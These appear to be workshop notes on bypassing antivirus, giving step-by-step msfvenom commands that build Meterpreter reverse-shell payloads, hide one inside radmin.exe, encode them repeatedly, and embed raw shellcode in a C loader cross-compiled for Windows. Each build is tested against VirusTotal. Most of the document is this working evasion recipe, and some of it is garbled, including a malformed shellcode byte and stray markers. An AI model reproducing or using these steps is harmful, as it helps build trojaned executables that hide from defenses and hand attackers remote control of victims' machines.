

# Bypass Antivirus Techniques - Workshop Notes

## Workshop Content

Most antivirus solutions start by comparing potentially dangerous code to a set of patterns and rules that make up the antivirus definitions, which match known malicious code. Antivirus definitions are updated regularly as new malware is identified by each vendor. This sort of identification is called static analysis.

In addition to static analysis against a set of signatures, more advanced antivirus solutions also test for malicious activity, called dynamic analysis. For example, a program that tries to replace every file on the hard drive or connects to a known botnet command and control server every 30 seconds is exhibiting potentially malicious activity and may be flagged.

if you know which antivirus solution is deployed in your clients environment, you can focus your efforts on clearing just that antivirus program.

Set window target: Open Microsoft Security Essentials, select the Settings tab, choose Real-time protection, and check the box to turn on the service,

Create a trojan:

Msfvenoms -k flag v will keep the executable template intact and run our payload in a new thread, allowing the original executable to run normally.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe
```

To see which antivirus programs detect our trojaned radmin.exe as currently written, upload the file to VirusTotal and click Scan it!. Because antivirus definitions are constantly updated, your results will differ.

Getting Past an Antivirus Program

Clearly if we want to get past antivirus solutions, we need to try harder to hide. Lets look at some other useful ways to hide our Metasploit payloads besides simply placing them inside of an executable.

Encoding:

Encoders mangle the payload and prepend decoding instructions to be executed in order to decode the payload before it is run. It is a common misperception that Metasploits encoders were designed to help bypass antivirus programs. Some Metasploit encoders create polymorphic code, or mutating code, which ensures that the encoded payload looks different each time the payload is generated. This process makes it more difficult for antivirus vendors to create signatures for the payload, but as we will see, it is not enough to bypass most antivirus solutions.

List all encoder:

```
root@kali:~# msfvenom -l encoders
```

Tell Msfvenom to use the shikata\_ga\_nai encoder with the -e flag:

## Bypass Antivirus Techniques - Workshop Notes

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -e x86/shikata_ga_nai -i 10 -f exe > meterpreterencoded.exe
```

Now upload the resulting binary to VirusTotal.

To see if we can improve our results, we can try experimenting with using multiple Metasploit encoders on our payload. For example, we can combine multiple rounds of shikata\_ga\_nai with another Metasploit encoder, x86/bloxor,

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -e x86/shikata_ga_nai -i 10 -f raw > meterpreterencoded.bin
```

However, instead of setting the format to .exe, we output in raw format u. Also, instead of outputting the results to an .exe file as we did previously, this time we output the raw bytes into a .bin file v.

Test the file in VIRUSTOTAL AGAIN.

You may be able to improve your results by experimenting with different sets of encoders and chaining more than two encoders together, or by combining techniques.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -x /usr/share/windows-binaries/radmin.exe -k -e x86/shikata_ga_nai -i 10 -f exe > radminencoded.exe
```

Custom Cross Compiling:

```
-----
#include <stdio.h>
unsigned char random[]=
unsigned char shellcode[]=
int main(void)
{
((void (*)(()))shellcode)();
}
-----
```

Create your payload in Msfvenom as usual, except this time set the format with the -f flag to c, as shown in Listing 12-6. This will create hex bytes that we can drop into our C file.

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=2345 -f c -e x86/shikata_ga_nai -i 5
```

YOU MAY SEE THIS:

```
-----
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";
```

## Bypass Antivirus Techniques - Workshop Notes

-----

Finally, we need to add some randomness. A good place to find randomness on a Linux system is in the `/dev/urandom` file. This file is specifically designed as a pseudorandom number generator; it generates data using entropy in the Linux system.

```
root@kali:~# cat /dev/urandom | tr -dc A-Z-a-z-0-9 | head -c512
```

Now drop the data from `/dev/urandom` into the random variable in the C file.

-----

```
#include <stdio.h>

unsigned char random[] = "s0UULfhmiQGCUmQud4e51CZKrvsyIcLy3EyVhfIVSecs8xV-JwHYlDgfiCDlUEmZZ2Eb6G
0no4qjUIIsSgneqT23nCfbh3keRfuHEBPWlow5zX0fg3TKASYE4adLqB-3X7MCSL9SuqlChqT6zQkoZNvi9YEWq4ec8
-ajdsJW7s-yZOKHQXMTY0iuawscx57e7Xds15GA6rGObF4R6oILRwCwJnEa-4vrtCMYnZiBytqtrrHkTeNohU4gXcVIem
-lgM-BgMREf24-rcW4zTi-Zkutp7U4djgWni7k7ULkikDIKK-AQXDp2W3Pug02hGMdP6sxfR0xZZMQFwEF-apQwMlog4Trf
5RTHFtrQP8yismYtKby15f9oTmjauKxTQoJzJD96sA-7PMAGswqRjCQ3htuWTSCPlEODITY3XybloPD5wt-GloWvavrpewe
LERRN5ZJiPEpEPRTI62OB9mIsxex3omyj10bEha43vkerbN0CpTyernsKlcsdLmHRyca";

unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x3c\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xeax0f\xdf\xe0\xff\xd5\x97\x6a"
"\x05\x68\x0a\x00\x01\x09\x68\x02\x00\x09\x29\x89\xe6\x6a\x10"
"\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
"\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
"\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
"\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
"\x85\xf6\x75\xec\xc3";

int main(void)
{
    ((void (*)())shellcode)();
}
```

-----

Use the Mingw32 cross compiler from the Kali Linux repositories TO GENERATE FILE THAT EXECUTE IN WINDOW; gcc wont do for us.

```
root@kali:~# i586-mingw32msvc-gcc -o custommeterpreter.exe custommeterpreter.c
```

Now upload the resulting executable to VirusTotal.